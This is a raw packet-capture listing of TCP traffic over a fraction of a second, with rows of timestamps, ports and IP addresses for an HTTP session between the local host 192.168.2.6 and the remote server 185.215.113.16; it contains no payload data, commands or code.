Nov 1, 2024 00:38:47.065020084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065054893 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065083027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065089941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065124989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065131903 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065151930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065186977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065315962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065367937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065398932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065424919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065464973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065471888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065529108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065582991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065586090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065612078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065628052 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065660954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065679073 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065711975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065727949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065748930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065759897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065793991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065798044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065830946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065843105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065865993 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065879107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065902948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.065911055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065947056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.065969944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066025019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066036940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066071033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066092968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066107035 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066114902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066143036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066154957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066190958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066407919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066463947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066463947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066500902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066531897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066534996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066543102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066570044 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066590071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066605091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066628933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066642046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066649914 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066677094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066713095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066723108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066747904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.066764116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.066802025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067028046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067061901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067080975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067096949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067107916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067143917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067209005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067243099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067262888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067277908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067289114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067328930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067337990 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067370892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067378998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067420959 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067562103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067614079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067615986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067663908 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067666054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067702055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067717075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067735910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.067748070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.067781925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.116811037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.116846085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.116879940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.116931915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.117018938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.144665003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.144699097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.144795895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.145919085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.145972013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146013021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146048069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146100044 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146116972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.146131992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146152973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.146167994 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146183014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.146198988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146220922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.146230936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146244049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.146265030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.146286964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.146321058 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182198048 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182280064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182337046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182373047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182384968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182411909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182437897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182462931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182468891 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182508945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182521105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182555914 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182560921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182596922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182602882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182634115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182646036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182674885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182693005 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182707071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182734013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182751894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182759047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182794094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182811975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182842016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182846069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182882071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182899952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182921886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182926893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.182956934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.182991028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183013916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183026075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183051109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183058977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183085918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183099031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183109045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183134079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183167934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183181047 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183198929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183218002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183252096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183255911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183289051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183299065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183336020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183353901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183389902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183433056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183444023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183497906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183497906 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183535099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183543921 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183573961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183594942 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183608055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183614969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183649063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183660030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183685064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183686018 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183718920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183732033 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183753014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183763981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183789015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183793068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183825016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183830023 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183871031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183913946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183948994 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183973074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.183984995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.183999062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184032917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184040070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184073925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184087038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184108973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184118032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184155941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184264898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184314966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184324980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184350967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184366941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184386015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184396029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184421062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.184428930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.184463978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.233535051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.233572006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.233607054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.233640909 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.233685017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.262725115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.262793064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.262830019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.262842894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.262866020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.262892008 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.262892008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.262955904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.262958050 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.262994051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.263012886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.263031006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.263048887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.263068914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.263091087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.263104916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.263124943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.263155937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.298815966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.298922062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.298944950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.298973083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.298978090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299025059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299031019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299060106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299083948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299096107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299130917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299144983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299144983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299170017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299182892 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299206018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299221992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299256086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299256086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299258947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299309969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299360037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299388885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299391985 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299444914 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299454927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299510002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299511909 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299545050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299568892 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299597025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299613953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299632072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299653053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299665928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299674034 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299701929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299736977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299755096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299787045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299806118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299833059 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299876928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.299932957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299967051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.299989939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300003052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300026894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300036907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300059080 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300071955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300086975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300106049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300122976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300141096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300158024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300174952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300188065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300209999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300224066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300261021 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300290108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300343037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300347090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300394058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300398111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300429106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300443888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300465107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300474882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300512075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300664902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300698996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300723076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300754070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300755024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300792933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300806046 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300837994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300853014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300887108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300906897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300930977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.300937891 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300966978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.300983906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.301002979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.301014900 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.301050901 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.301054955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.301100016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.301125050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.301158905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.301177025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.301192999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.301207066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.301237106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.305071115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.305105925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.305140018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.305321932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.350334883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.350358963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.350413084 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.350461960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.350663900 CET	80	49887	185.215.113.16	192.168.2.6
